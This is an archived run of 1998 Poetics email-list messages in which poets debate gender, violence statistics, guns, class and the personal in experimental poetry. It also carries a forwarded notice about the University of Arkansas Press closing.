Something that keeps shooting by on tangents, for me, is the notion a lot of people seem to have that there is only one kind of man/one kind of woman. I did choose 'the male' above somewhat intentionally. Which makes things interesting. "The male of the species struts about either verbally or physically, preferably both, exuding as much testosterone as possible. The male must show his superiority over all other males (not to mention those non-males over there). The male must mate." And we construct similar silly images of women. Of course, the construction is complicated: men construct images of women, women reconstruct and appropriate those images and so on. And the same thing happens in regard to the image, the role of men. Ever need a good example of the hermeneutic for class, pull other gender roles and I just bet everyone will get it.

One comic boiled it down much more politely (than my nature show example) by labeling men hunters, women gathers. He started here, had sold out shows for over year & then moved off broadway and (from what I hear) still sells out. Why? Because people tend to hold every one up these little preconceptions. And there's enough truth someone in the big lies (male, female) that almost everyone seems to match somewhere. Ah ha! They must match the rest of it! Or worse yet --for the person being identified, classed, disected-- they really don't match any of it, so the mind throws out the example (don't want to add any grays to our easy map to life) or classifies that person as abnormal. How many guys on the list, who like me are 'heterosexual' remember being called "faggot" in the halls during say Junior High. Ya don't fit the image, ya ain't part of the dance or your ignored or both.

Backing around to the litany of statistics, they do quite a bit to not just shine light, but confuse (as statistics are want to do). While they point out that

women assaulting men tend to be more violent (ahhh! blame them lil' ol women bitches agin) they do nothing to point out how often those reactions are to the violence of men... versus how often there was no violance on the male end of the equation. Of course, statistics have a hard time quantifying (like statistics do anything but attempt to quantify) the mental games by one party or the other that lead to the situtation.

<end semirant>

Ah, yes, hopefully this doesn't start any flame wars... just thoughts, for the list-serv mill.

Tim

_____ Tim Wood

[redacted]

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972. k. lederer
Statistics and Silliman
Sun 29 Mar 1998

--Yes, I think those statistics seemed awfully skewed. The point is well taken that men suffer from violence as much if not more than women. But the issue seems to be a little more complex than that.

It seemed that Have's statistics left out some key information. 1. If men suffer from aggravated assault more than women, do men also perpetrate aggravated assault more than women? Who are the perpetrators statistically?

Are you saying that men beat up other men as much as they beat up women, so violence isn't gendered?

2. To say that rates of violence are similar in both male and female prison populations is an interesting statistic, but isn't this a pretty specific statistical group? Does it reflect the general population in any regard?

3. Your statistics concerned domestic violence--and were informative in regards to this (though the fact that they all came from a single source--and that this source seemed interested in proving that men suffered from domestic violence, not just women, seems suspicious to me...)--what about violence in the public sphere?

I would like to see some statistic about rape. How many men are raped outside of prison?

I would like a clarification of your statistic about child abuse. Do women abuse their children sexually more than men do? Do they hit their children? Neglect their children? Could you be more specific?

I would like to see statistic about guns and the use of guns. Do women assault or massacre others with guns as often as men do? Or is it rolling pins that they employ?

***

Ron, I have to take issue again with your earlier post.

In that post you seem to discourage the new voices that have popped up on this list in the last week from contributing further. The list of--was it four people?--whom you cited as having interesting things to say were to say the least very usual suspects. I enjoy their posts, but I have also been glad to see so many new voices posting as well.

As Summi said in an earlier post, not everyone has to have something brilliant, tonally satisfactory, or original to say to be of interest, at least to me, on this list.

You seem to imply that only well-formulated posts from brilliant minds are wanted here.

Perhaps some might feel intimidated to post up here with the likes of you (this is a sincere compliment, not sarcastic)--

I found your post vague in regards to these issues--how has the list disappointed you as of late?

Best,
Katy

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973. **Karen Kelley**
Re: personal
Sun 29 Mar 1998

Hi Rebecca,

I don't think you're missing anything about the personal. Sometimes people take the attitude that the personal is somehow less than the "objective," an idea I've always disagreed with, but an idea that some people hold nonetheless.

Do you write in Thai only? I have to tell you: your notes are so beautifully written that it made me want to see more of your writing. Do you write poetry, or prose, or both?

Don't feel too concerned about the sometimes clubbish attitude of the list: I know a very few of the people on the list from having met at readings, a few only through correspondence, and some just through the list.

I don't know if everyone agrees, but I think a large number of listees think as I do, that anyone who writes is very welcome to participate. I for one have enjoyed your voice immensely, and you "personal" post has left me with a strong image of your garden writing house and the questions of mothers-in-law & children, a world similar to and different from the one I as a woman/mother work in.

Karen

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974. Karen Kelley
Personal
Sun 29 Mar 1998

Oops, sorry: my message to Rebecca Sithiwong was meant to go b/c.

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975. Keston Sutherland
boor
Sun 29 Mar 1998

> *when crucial information in a culture is repressed, all of the modes of production are poisoned, including poiesis.*

-when- crucial info's repressed? When HASN'T it been? If everything has always been poisoned (poetry too), the poison's slow-working into endlessness and why worry? Cannot the exhibition of crucial info poison also?

Plus: (and this not directed to you Don) it's harmless enough, the general anti-boor cry and aloof semi-urge to decorum, but this though harmless stakes little in hope of redress and does nothing to counter indecorous -argument-: neat-mannered locutions are not a cure for ignorance, not a resistance to bad ideas other than the idea of bad locution (which idea can tyrannize as any other and frequently does), and do seem so dubiously efficacious in propagating a writer's tidy moral amplitude.

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976. **Douglas Barbour**
Re: Morpheal on the need to bear arms
Sun 29 Mar 1998

Gee Morpheal

I dont think we in Canada are any more (& perhaps not less) under a tyranny than you down there in the good ol' US of A, & we do have gun laws. And I do think that ideology can be as controlling as any 'dictator,' at least in terms of maintaining a 'way of life.' Are US citizens really that much more able to defend their 'freedom,' & change governments than we in Canada? I dont think so: we're both 'ruled' by certain oligarchic forces which seem to have no problem maintaining their power, whether or not the so-called citizens, now known as 'consumers' etc, own a bunch of guns (I think the statistic for Arkansas was at least 3 guns per person).

So it goes.

==========
==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

YEAR: 1986
PUB TYPE: Recording
FORMAT: 1 sound cassette (ca. 47 min.) : 1 7/8 ips ; 3 7/8 x 2 1/2 in., 1/8 in tape.
NOTES: "L. Z. masque is the 24th and last section of Louis Zukofsky's monumental work "A" ... Celia spliced and arranged the text to the music"--Performance program.
Performed by literature students at UCSD: Dorothy Robert, Brad Westbrook, Bill Luoma, Becky Roberts and Chuck Cody.
Recorded at the University of California, San Diego, on April 11, 1986.
OTHER: Zukofsky, Celia Thaew.
L. Z. masque.

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978. **Don Byrd**
Re: re : unsubscribe poetics
Sun 29 Mar 1998

---

david bromige wrote:

> *This is a personal squawk :..... So was s/he lurking out there, passively allowing us-all to go on without his or her attempting to intercede?*

David, I would squawk with you.

I was out of town for a couple of weeks and was set to nomail. I have been back now for a week. I'll admit I have found the discussions extraordinarily dreary. The "issues" have been of the kind that inevitably, perhaps necessarily, evoke _prescribed_ responses. It is not a personal fault: to engage them at all is to assume a stereotyped posture: bad-ass renegade, enforcer of righteousness, weak-kneed liberal; I am dangerously close to being a pretentious voice of community good-sense, etc.

Poetry and poetics are important precisely because they are our tools for avoiding the prescribed (already written), on the one hand, and the hopelessly (selfishly) quirky, on the other (i.e. "the private self at any public wall"; no one cares about ones private self but ones mother, and she mind be jivin you too, as B.B. King realized).

I do not find the usual forms of civility interesting or very useful for mediating the difficult work of a community, but one would hope that among poets, rudeness and boorishness might find interesting new forms. Surely, if nothing more, poetry and poetics can saves us from both graduate school jargon (as a particularly authorized form of prescription) and its opposite in self-conscious,

anti-intellectual grousing that brings only the language of the popular media as an alternative.

The World Watch Institute notes that economic “growth during the seven years since 1990 exceeds that during the 10,000 years from the beginning of agriculture until 1950” and estimates that the earth cannot sustain this level of material production for more than twenty additional years. I will highly recommend web site of the World Watch Institute (http://www.worldwatch.org/)

We are a culture deeply in trouble. We have nothing in our traditions and habits that allow us even to think about this world. Poiesis is about the only human resource in such situations. These resources, like so many others, it seems to me, are being squandered.

db

****

Don Byrd (□□□□□, □□□□□□)
Department of English
State University of New York
Albany, NY 12222
□□□□□□□□□ (work); □□□□□□□□□ (home); □□□□□□□□□ (fax)
The Little Magazine (http://www.albany.edu/~litmag/)

****

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979. **Don Byrd**

Re: re : unsubscribe poetics

Sun 29 Mar 1998

Alan Myouka Sondheim wrote:

> *why would poesis get us out of anything? if not worldwatch, there are*

Poiesis gets us out of nothing, but one does not have a world by stumbling into it.You imagine a world from the best data you have. I mention the World Watch data as it seems actively repressed, and when crucial information in a culture is repressed, all of the modes of production are poisoned, including poiesis.

db

--

****

Don Byrd (□□□□□, □□□□□□)
Department of English
State University of New York

Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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980. **Mark Weiss**
Re: Guns, gender, children
Sun 29 Mar 1998

Ron: While recent posts have made it clear that the assumption of violence being gendered is at least open to question, it's certainly still true that males carry most of the guns; if wars were included in the violence statistics men would come out ahead. I suspect that as traditional divisions of labor become obsolete, as they largely have in the US, this inequity will become less severe. Now that women have relative control over procreation and means of supporting themselves outside of marriage, for instance, women are being trained and employed in warfare more openly than they have been in the past, when they were content to engage in sobotage and the occasional use of their sexuality as a lethal weapon (Judith of Bethulia comes to mind). I fully expect that women will be enthusiastic participants at the next My Lai.

Or do you think that violence is not only gendered but genetic?

At 08:50 AM 3/29/98 -0600, you wrote:
>There is, I think, no question that this violence is gendered. My wife's
>college buddy Corinne Dufka is the chief Reuters photographer in Africa
>(after stints in the former Yugoslavia, Chechnya and central America). Her
>photos, which periodically can be seen on the Reuters web site (Corinne was
>nominated for the Pulitzer last year), all too often show armies composed of
>13-year-old boys killing other 13-year-old boys. It's always boys.
>
.

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981. **linda russo**
Re: Guns, gender, children
Sun 29 Mar 1998

---

hi standard s. --this is the first time we've engaged in discourse & granted I'm not sure where you're coming from/ how to "read" you -- but i find most of your comments engage in a sort of numbers game -- maybe because your responding in part to katy's demand for "more women" -- but i'd like to move from that place, from the place of questions about what "women" "should" do and with

what amount of "difficulty" or how "they" write -- since I or katy or rachel can only tell you what we as particular people should/could/want/do, i'm not sure how we can help define this "cause"

-- you mention several curious things at the end of your post -- prestige, money, improving the quality of literature (?), a "crusade" -- which speak not only this "equality rap" -- but which also curiously narrativize the actions of several individuals into a unified "cause" -- & i find your narrative to be based on certain "universal" assumptions -- this one was particularly puzzling:

> It seems to me that any discussion of gender (and I'd prefer, say,
> class) that does not mobilize the entire samizdat cause is a thorny
> issue. Because this side of literature is in such tenuous shape,
> I'm not sure it makes sense to critique it in terms of gender. Or
> at least, I don't think it is sufficient. Nor is class sufficient,
> etc. Wouldn't it be more productive to discuss the evolution of
> women's writing in historical terms.
i agree (i think) but why? You're calling on the performance of good old anglo-feminism, i think, that is to un- or dis-cover an otherwised silenced history -- ? And I couldn't do this with out discussing the historical terms!! who's terms are they? I mean who's texts will we read to discover the historical terms by which to discuss women's writing? I say let's throw the baby out with the bathwater and go find some new babies.

and when you mention "relevance to poetic action":
> A magazine is the same price to publish.
> Setting aside gender-pay inequalities for a moment, I think what some people
> are resistant to here, in this gender discussion, is its relevance to poetic
> action, much less political action.

I wonder if you're not assuming that "feminist" poetry must per se "voice" a feminist agenda? or that poetry is feminist because it is gendered via content? Which is the only way, i think that poetry written by women & men could be said to "differ" -- by taking up the issue of difference & expressing patiruclarly "feminist" attitudes (i.e. if it involves itself with those discourses) -- but even that is just performing gender --

but a question that for me gets more to the heart of the matter is
> I mean what is not available to women as poetic
> technique that is available to a man.
well, i don't think the universal subject-position is as available, as that's "man" -- i mean it's necessary for "voicing" otherwise "erased" experiences -- but it can only express thus by co-opting a

whole set of (male-constructed) assumptions (from Aristotle onward)
-- the very assumptions that provide the context for "oppression"

-- i mean i might march on washington & yell "no
more coathangers" but my poems, in order to be
"feminist", don't have to. my feminism, as it is engaged in
my poetics, is about disengaging language from certain
oppressive discourses -- one of them being that of enlightenment ideas
of the subject.
>
> I'm leery of any gender conversations where one side cannot critique the very
> side they happen to be on. That is, one could have any bone to pick with Katy
> or Rachel or whomever, and still be more or less on their side. What can a
> man say to a women about gender issues without somehow becoming oppressor.
"i agree" -- ? again, i'm not sure what you're after -- since this
statement seems to cast us into a narrative which a certain history
has constructed.

> I suspect that if a man picked a bone against the way a few women were
> handling a few feminist issues, the ensuing argument would be not all
> productive to making it easier for anyone to write a poem.
-- ? -- not sure why you would want writing poetry to be easier --

Fiction. . .
>More money and more prestige, to many
> people's eyes. Not to mention the easy fact that anyone who would stop
> writing and become a doctor would get more prestige, money, etc. I tend to
> think class is a bigger concern here as it is prohibitive to all
> forms/manners/subjects of writing. And it certainly effects who gets
> published, who gets to go to grad school, who gets tenure, who publishes the
> books and who they have to kind to in order to fund their crusade.
whoa. i wish charles' b. woulda said we had to worry abt. prestige or
money to join the list . . . but again, i think my problem is with
the way you narrativize the actions of distinct women writers into a
"crusade" -- yes, katy seems to be on a crusade when she calls for
more women writing & publishing, etc. well i've already made myself
clear on where i differ on that point i think.

> I would be interested in hearing how being a woman affect the practice,
> technique, and method of writing.
well i could tell you how it affects MY writing, but would that be
answering your question?

yrs -- linda

↑ Index

982. **linda russo**
Re: women, i.e. rachel & katy
Sun 29 Mar 1998

---

katy et all: i'll clarify:

katy sed:
> I'm not sure what to make of your description of (presumably) the
> undergraduates at U Utah.
>
> Are you trying to say that stereotyping women as such creates more women
> who fit the stereotype?
the question is who is stereotyping? is it a stereotype to say
basketball players are good at basketball? I'm simply saying these
women work hard to be good at what their institution tells them to
do -- in the way it tells them to do it. so they're an instance of
that liminal space where discourse & "reality" meet, if you like.
they literally "wear" the discourse of their institution (though that
metaphor may be reductive, as it tends to flatten out the complexity
of what goes on, since "changing clothes" isn't that easy, & because
what I call "their institution" is, well, many discourses {buy this,
wear that, eat this, throw that up [I literally walked in on a bulimic
in a pizza place bathroom here once -- calculate the chances of THAT
happening & we'll maybe get a sense of how frequent such a coping
device is, especially here in the happy gap-baby valley].
-- but this again is simplifying -- i don't mean to say that the
"discourse" is the messages, the rhetoric that dictates
their/our lives -- but then again, as we say, money talks . . .})
>
> Are you trying to say that feminism has led to some sort of gross
> exploitation of the menstruation excuse for skipping classes?

rather, if feminism means winning for a woman the "choice" of whether or
not to pursue an "education" (a popular one here is family & consumer
studies -- ha!) -- then we're not working hard enough
>
> I did gather, I think clearly, that you feel that women drop out at a
> higher rate from men as they climb the educational ladder because they
> decide to raise families instead of continuing on--
you mean they opt to perform normative behaivor rather than risk being
labeled "odd" or "maladjusted" (easy to get Freudian here -- they're
simply not carrying out their prescribed narrative! & we know freud

fudges on the girl-narrative anyway)
>
> But I have to admit that I don't see the connection between Rachel's views
> (which I don't fully understand, I don't think) and the undergrads at U
> Utah--
i hope i made this a little clearer above. I mean it's easy to look
back on our lives & think we had a lot of "choices" -- where to go to
school, what color to make our hair, whether to have hair in certain
places [one day i heard a young woman in a burrito place telling two
male peers (read: potential husbands) that she was going to have
electrolisis on her upper lip & chin] -- but many of these choices are
relegated, regulated -- & again i feel i'm simplifying, this is the good
old Althusserian concept of ideology -- but the point is "reality" is
saturated with discourse, it's textual (in the most vulgar sense that
words construct it, i.e. when we see dense Maine woods & say a "o look
a virgin forest" (or even an "old growth forest" for that matter) we can't
see the forest for the words (old growth = $$$). but i'm starting to
digress. . .

> *Maybe you mean to say that Rachel doesn't want to be lumped together with these other "kinds" of women? That Rachel would like to avoid being perceived as one of these slim blond giggly people? (Though Rachel is slim and kinda blondish and has a wonderful laugh--and is very generous with her laughter)?*

well that's simply not a danger! I mean she's good a playing a
different game -- besides i think rachel would just
like to avoid being perceived --

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983. **henry gould**
Re: re : unsubscribe poetics
Sun 29 Mar 1998

On Sun, 29 Mar 1998 13:36:36 -0500 Alan Myouka Sondheim said:
>
>if the pen is mightier than the sword, the ploughshare wins overall.

right on, Alan. with the emphasis on SHARE.
- Henry G

↑ Index

984. **Henry Gould**
Aimee Grunberger
Sun 29 Mar 1998

I was sorry to read in today's Providence Journal that poet Aimee Grunberger had died at 44. Last I heard she was involved at Naropa, had been getting published. Back in the EARLY SEVENTIES we were in college together. She was somebody with a lot of vitality & feeling. The obit gave no cause of death. Sad to see her go. A free spirit.

Spring is here, people. Whatever will ameliorate life it involves empathy and understanding. "Love has no pride", as Bonnie Raitt was singing the other day. God is neither male nor female, but spirit. Nor is God a respecter of persons, nor is God blind to oppression in any form. God has no wrath, as Isaiah puts it. Life is brief, art better be good. What's the point in complaining about the "quality" of the posts to the list? Just try to add something interesting yourself.
- Henry Gould

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985. **Gwyn McVay**
speaking of forces that silence
Sun 29 Mar 1998

From another list. The press hasn't exactly been a force of the vanguardia, but this certainly seems to have the infamous "chilling effect," and to illustrate the Peter Principle that people rise to their level of maximum incompetence in an organization...

---------- Forwarded message ----------
Date: Sun, 29 Mar 1998 16:34:31 -0600 (CST)
From: Michael Heffernan <[redacted]>
Subject: Re: UArk Press (fwd)

The closing of the U of Arkansas Press was announced by the University's Chancellor, John A. White, in a meeting with the Press staff last Tuesday afternoon, March 24th. The Chancellor made his decision without consulting the Press Board, the University chairs, deans, or other faculty, or the Board of Trustees. His decision was based entirely on the Press's current finances, which indicate an ongoing deficit, with an annual subsidy from the University of roughly $250,000--an amount which the Chancellor will transfer to the University Library. The Press has operated under University subsidy since its inception in 1980.

The Chancellor's decision has aroused strong negative response from throughout the University community and around the state. His argument that

"university presses are supposed to be self sustaining" has been widely questioned, especially by several university press directors at other universities.

Chancellor White came to the University of Arkansas from Georgia Tech last July. His elimination of the University Press was his first major act as chancellor.

The University faculty will meet later this week in an emergency session to discuss the matter, though, at the moment, there is little reason to believe that the decision can be reversed.

Michael Heffernan
Programs in Creative Writing
University of Arkansas

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986. **SSSCHAEFER**
Re: Guns, gender, children
Sun 29 Mar 1998

Not even sure if we need to play statistical games here to disagree with Silliman and this guns-boys nonsense. Withstanding any Chomskian critque that might be possible here, most of us in LA have seen a lot of press given to the rise of women within gangs, and the rise of gangs made entirely of women. Lately, the contentions made in several books about gang violence are that women are actually more violent in these situations: mutilations, choice of weapon. Perhaps to prove themselves in relation to men. Nonetheless, graffiti goes on. And a women gang member has just as much opportunity to spray paint the highway as a male gang member. A can of paint is the same price for either a man or a woman. A magazine is the same price to publish. Setting aside gender-pay inequalities for a moment, I think what some people are resistant to here, in this gender discussion, is its relevance to poetic action, much less political action.

How is a women's poetry different from a man's and what does a man get from reading a women's poems? Sincerely, I'd like to hear an answer. If it turns out that they want the same thing, would still be productive discussion. I don't mean "is it "vaginal?" I mean what is not available to women as poetic technique that is available to a man. What makes it more difficult for a women to publish a magazine?

As everyone here knows, this is an extremely marginalized contigent: innovative poets. At a certain point, I'm not sure that gender is contributing to much further marginalization.

Am not sure that a gay writer published in some small magazine is ever going to inspire others to be bold enough to write a poem, publish a magazine or do anything that will improve the status of literature, whether or not anyone knows he's a gay poet.

But it seems to me that what Katy is doing with Explosive magazine, what Post-Apollo Press is doing, what (the press that published Laynie Browne's Rebecca's Letters, name escaped) is doing is helpful to the cause.

Should Katy quit publishing men?

It seems to me that any discussion of gender (and I'd prefer, say, class) that does not mobilize the entire samizdat cause is a thorny issue. Because this side of literature is in such tenuous shape, I'm not sure it makes sense to critique it in terms of gender. Or at least, I don't think it is sufficient. Nor is class sufficient, etc. Wouldn't it be more productive to discuss the evolution of women's writing in historical terms.

I'm leery of any gender conversations where one side cannot critique the very side they happen to be on. That is, one could have any bone to pick with Katy or Rachel or whomever, and still be more or less on their side. What can a man say to a women about gender issues without somehow becoming oppressor.

I suspect that if a man picked a bone against the way a few women were handling a few feminist issues, the ensuing argument would be not all productive to making it easier for anyone to write a poem.

As for this issue of women stopping school and going off to raise families, no doubt many women have felt that they lost out to do this. Norma Cole didn't publish anything until her forties, I believe, so I think it is a real issue (whatever gender a dead god happens to be).

But, much more of an issue is the fact that everyone on this list could stop writing poems and write fiction. More money and more prestige, to many people's eyes. Not to mention the easy fact that anyone who would stop writing and become a doctor would get more prestige, money, etc. I tend to think class is a bigger concern here as it is prohibitive to all forms/manners/subjects of writing. And it certainly effects who gets published, who gets to go to grad school, who gets tenure, who publishes the books and who they have to kind to in order to fund their crusade.

I would be interested in hearing how being a woman affect the practice, technique, and method of writing.

Not at all against hearing how simple-minded all this might be.

I am calling for disarmament even in the shape of a thorn.

↑ Index

987. **k. lederer**
Re: Guns, gender, children
Sun 29 Mar 1998

Hi Standard,

I found your post really provocative and clear. And I see most of your points (although I don't see how anyone is begging the question of whether or not I should stop publishing men)[?]--

I had two responses to the things you said.

The first had to do with the assertion you make about the marginality of experimental writing.

I think you underestimate the impact that these poetries have on the larger discourse. Here at Iowa--a bastion of various forms of institutional conservatism (a reputation to uphold, a slew of ambitious people coming through at any given time, a place where awards are taken seriously etc...)--the poetries of which you speak are taken very seriously.

I have heard numerous people claim that, in fact, "experimental" poetry gets more attention here than do other poetries; that it is cooler to write experimentally; that only experimental poets are taken seriously (I don't fully agree, but don't feel that this opinion comes out of nowhere...).

I, for one, have been encouraged to put out Explosive--and in fact have received free copying from the department here.

I have held a number of benefit events for the magazine. At least half of the entire (fiction and poetry) have attended these and had fun.

I agree that experimental poetry is marginalized in a number of ways. Prizes and other types of awards are not as available to writers who participate in this discourse--

The New Yorker and other "popular magazines" that pay are for all intents and purposes closed to these forms of poetries--

Etc...

But I think that in the long run poets like Scalapino, Hejinian, Palmer, and Susan Howe will have a much larger impact on the writing that comes out of here than will, let's say, those like Wilbur or Kizer or even Hass.

The reasons for this are complex--but it seems to me that experimental writing as it exists today (complete with big presses, book prizes, teaching positions and so on...) gives young writers more permission to do certain things than some of the more conservative writers who are now in vogue.

Primary among the reasons for experimental poetry's ascendence here has to do with something intangible in the air--its greater "sexiness" perhaps.

There are a number of examples outside of Iowa as well--

APR, The Boston Review, The Denver Quarterly, The Colorado Review and on and on are more and more available to experimental poetries--

It may just be a trend. Or it may be because of what I allude to above--the growing presence of experimental work on the larger institutional scene (witness Sun & Moon, The Bobst Prize, New American Writing, New College, Brown, Santa Cruz etc...)--

Or it may be some form of "slumming it in the avant-garde"--I don't know.

So I do think that experimental poetry is visible enough and important enough to necessitate an occassional cleaning out of its "gender house"--

***

As to what you state below:

I notice that it is okay on this list to say that the topic of gender is "stupid" or "irrelavant" or "boring" (not to imply that you have said such things per se)--but it seems always okay to speak about class.

When it comes to righteousness of tone, I've seen some real doozies that regarded class on this list.

More to the point, however, how can you claim that more of us suffer from or are otherwise affected by class than by gender?

Women aren't the only creatures of this world who are shuttled into gender category that seems to be culturally backed up by sanctions of various sorts--

It seems to me, and this is an old argument, that the fact that women are divided by cultural and class lines at all times--that women have no "culture" to call their own--translates into the notion that gender is a less "important" category than class, which, after Marx, has taken on a pretty powerful aura as its own "culture".

To be gendered male is to belong to an unmarked category--or so you seem to imply in your comments below. Are you trying to say that all of us suffer from financial stress, but that only some of us suffer from stress that is gender-related?

We ALL share the problems and ramifications of class. And we ALL share the problems and ramifications of gender.

This does not mean that poetry written by women or men or anyone else is by nature any which way--just as poetry written by poor people or rich people or anyone else is not by nature any which way--

But it also, in my view, does not mean that trends--that circumstances that appear to produce tendencies based on categories--are not important topics of discussion.

Is class more relavant to the production of poetry than gender?

Is class any less of a blanket term? Is the assignment of class any less constraining in our society than the assignment of gender?

Is a discussion of poetry as it relates to class any more specific than a discussion of poetry as it relates to gender, or sex, or age?

As I said, your post made me think a lot.

Thanks,
Katy

*** >
It seems
to me that any discussion of gender (and I'd prefer, say, class) that
> does not mobilize the entire samizdat cause is a thorny issue. Because this
> side of literature is in such tenuous shape, I'm not sure it makes sense to
> critique it in terms of gender. Or at least, I don't think it is sufficient.
> Nor is class sufficient, etc. Wouldn't it be more productive to discuss the
> evolution of women's writing in historical terms.
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> I'm leery of any gender conversations where one side cannot critique the very
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> or Rachel or whomever, and still be more or less on their side. What can a
> man say to a women about gender issues without somehow becoming oppressor.
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> I suspect that if a man picked a bone against the way a few women were
> handling a few feminist issues, the ensuing argument would be not all
> productive to making it easier for anyone to write a poem.
>
> As for this issue of women stopping school and going off to raise families, no
> doubt many women have felt that they lost out to do this. Norma Cole didn't
> publish anything until her forties, I believe, so I think it is a real issue
> (whatever gender a dead god happens to be).
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> But, much more of an issue is the fact that everyone on this list could stop

> writing poems and write fiction. More money and more prestige, to many
> people's eyes. Not to mention the easy fact that anyone who would stop
> writing and become a doctor would get more prestige, money, etc. I tend to
> think class is a bigger concern here as it is prohibitive to all
> forms/manners/subjects of writing. And it certainly effects who gets
> published, who gets to go to grad school, who gets tenure, who publishes the
> books and who they have to kind to in order to fund their crusade.
>
> I would be interested in hearing how being a woman affect the practice,
> technique, and method of writing.
>
> Not at all against hearing how simple-minded all this might be.
>
> I am calling for disarmament even in the shape of a thorn.
>

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988. **Nada Gordon**
women/men/communication/cherry blossoms
Sun 29 Mar 1998

One thing that irks me greatly about this list is that it keeps me away from the cherry blossoms, newly opened and splendid, not to mention the jasmine and orange & purple pansies on my veranda

but my head is so full with the discussion of this past week

one reason I have not been more vocal was that I was off on a spring vacation jaunt to Kanazawa and Kyoto. Kanazawa is an old castle town on the Japan sea coast. Kyoto was so gorgeous I hallucinated gardens and paper and designs for two full days after I came back

I really have wanted to speak my piece, especially on the exchange that went on between Katy and Rachel

I agreed with both of them/neither of them

because there are two women inside of me (and I'm asking now how many other women feel this way):

one who is historicized, bleating and roaring (the one who was ignored in math class -- thanks Katy; or the one with the ruffled leotard -- hey, I *still* wear those; or the one hitting misogyny over the head every day and still not killing it)

and one who, while not ungendered (or maybe, as Don wrote, "poeticized and sexual, but not gendered"?), is a being -- a creature of the universe -- empowered by nature (as Rachel wrote: choosing to, not take up the burden of everything constructed as history that says YOU WOMAN,YOU ARE DISENFRANCHISED)

they toggle each other, these two women

both of them acknowledge their debt and express gratitude to the pioneers and strugglers; both pioneer when they can; the historicized woman struggles; the other one moves on

if we are always bleating and roaring, we can't be creative we reify our disenfranchisement

we should bleat and roar
we are disenfranchised
but we can do so much more (Katy's second model of power)

exemplification:

I hate women's writing workshops -- I have participated in a few and even, uh, hostessed, one on this side of the Pacific. At workshops like these the common response to my writing is puzzled silence, "what are you trying to SAY with this?" or "there are some interesting images here, but I don't you think you should be more accessible" as if that constituted a response to the work. Mostly these are pieces that, by language poet standards, might be considered highly SUBJECTIVE, even THEMATIC or LYRICAL. The kind of writing that these women's groups seem to sanction, though, is reportage -- on relationships, childhood memories, life incidents, mostly, without emphasis on the formal features of the writing, i.e. the poetry. The responses tend to the "thank you for sharing" *nurturing* *supportive* variety -- even to writing that, to my torqued-out ear, isn't interesting at all. This seems to me to be Tannen's cooperative dynamic at its most nauseating.

Dodie, is your workshop any different? Or do you take issue with my description?

(an aside, but when I read Tannen's book I ws struck by the similarity of the cooperative style to Japanese communication styles -- another topic altogether)

On the other hand, I hate mixed writing workshops even more, where the women sit silent while the men light into each other with their ideas of how they would have written the poem, with their all-important opinions. Voila, the competitive dynamic.

I posted a poem called *my penis* this week and got a response like this from morpheal. I excerpt it here:

> *Drumbeat sounds so damn violent. Sure you shouldn't change that ?*
>
> *I don't know....but it's too full of traditional metaphors and unclear as to what you really want to convey.....*

and my response to him:

> *1) "unclearness" as to what I want to "convey" happens to be my poetics. If it were clear it would be prose.*
>
> *2) language as vehicle or conveyance is an obsolete metaphor -- get over it, dude.*
>
> *3) Did I solicit your opinion? You know, a big ugly fat guy came up to me after one of my readings/performances and told me how he thought I could have done it more effectively. I told him he could shove his patronizing attitude up his ass. DITTO.*

Hmm, so I guess I do roar. And am boorish sometimes and violent (sorry Ms. Tannen to disprove your points). I apologize to Morpheal for that, and for quoting him here without permission. It does, though, offer an example of how some men respond to some women's public utterances. No wonder we may feel intimidated (but I guess I showed him -- gee). It also shows how the public sphere, including this list, can be sites of viciousness -- as well as (I don't remember who said it) conviviality. Or maybe that I just can't take criticism?

Ending with questions again:

1) Patriarchy is a miserable farce and we should work like hell to destroy it, but not to replace it with...arggh...matriarchy! Smothering! Bossy! So how can we all parent (the) society (of the poetics list) equitably?

2) A fascinating-to-me side topic that Elizabeth Hatmaker touched on was one of women in positions of institutional power, esp. teachers (what about mothers), and a question about alternative pedagogies. Joe Amato has written about this in great inspiring detail before, and as for me, I'm delving into Paolo Freire and Julian Edge and William Glasser for ways to balance the power relationship in the classroom, because always to be cast as authority is awful. Not sure that this is directly related to POETICS (although seems like just about anything can be, that's the beauty of it), but I'd be happy to talk backchannel with any co-fascinatees.

love and cherry blossoms (finally I can get to them)

nada

p.s. Yesterday I saw a Japanese mom teaching her adolescent daughter how to throw a baseball!

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989. **Michael McColl**

The Personal in Poetics (fwd) (fwd)

Sun 29 Mar 1998

Cap-l may be baffled by what I mistakenly sent them; frankly, I'm kind of dreading to go back there now. Anyway, readers, this was for you--

----------Original message----------
V1.2b/1.8b) with BSMTP id 0839; Sun, 29 Mar 1998 22:21:11 -0500
(IBM VM SMTP V2R3) with TCP; Sun, 29 Mar 98 22:21:10 EST
29 Mar 98 22:15 EST
(8.8.5/8.6.6) with SMTP id WAA97384 for <[redacted]>; Sun, 29 Mar 1998
22:15:45 -0500
Date: Sun, 29 Mar 1998 22:15:45 -0500 (EST)
From: Dawn McCarra Bass <[redacted]>
To: [redacted]
Subject: The Personal in Poetics (fwd)

---------- Forwarded message ----------
Date: Sun, 29 Mar 98 18:14:41 EST
From: Michael McColl <[redacted]>
To: [redacted]
Subject: The Personal in Poetics

While the question of the personal on the list is being discussed, I thought I might ask about what seems like a contradiction to me: in the earlier discussion of depression there was quite a bit of personal disclosure, credit given to those who had made these disclosures; there was an assumption that personal experience brought with it a valuable kind of authenticity. The recent discussion is too fresh to require summing up. My question is this: why is it that when poetry is discussed the personal often seems in some way proscribed. Someone spoke of Robert Hass's "embarrassing honesty." Others have "cringed" at emotional revelations in poetry. Ted Hughe's work (which I have no interest here in defending) was criticized for employing

language as a transparent medium, and for being based on the self as unitary rather than perfomative.(Now, the selves who suffered from depression did not sound performative to me, but I might be trying to grasp this on the wrong register.) But I gather that the prevailing poetics of this list would seem to rule out most of what has been termed "personal" as being unacceptable in poetry. If scores of examples to the contrary spring to everyone's mind, that's fine. My question is typed here without a great deal of planning--that's how I use email. I'm not trying to be airtight in any kind of logic. In any case, I would like to get some takes on the way the personal appears or doesn't

appear in most experimental poetry, and why.

Mike McColl

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990. **morpheal**
Re: Aimee Grunberger
Sun 29 Mar 1998

> *I was sorry to read in today's Providence Journal that poet Aimee Grunberger had died at 44. Last I heard she was involved at Naropa, had been getting published. Back in the EARLY SEVENTIES we were in college together. She was somebody with a lot of vitality & feeling. The obit gave no cause of death. Sad to see her go. A free spirit.*

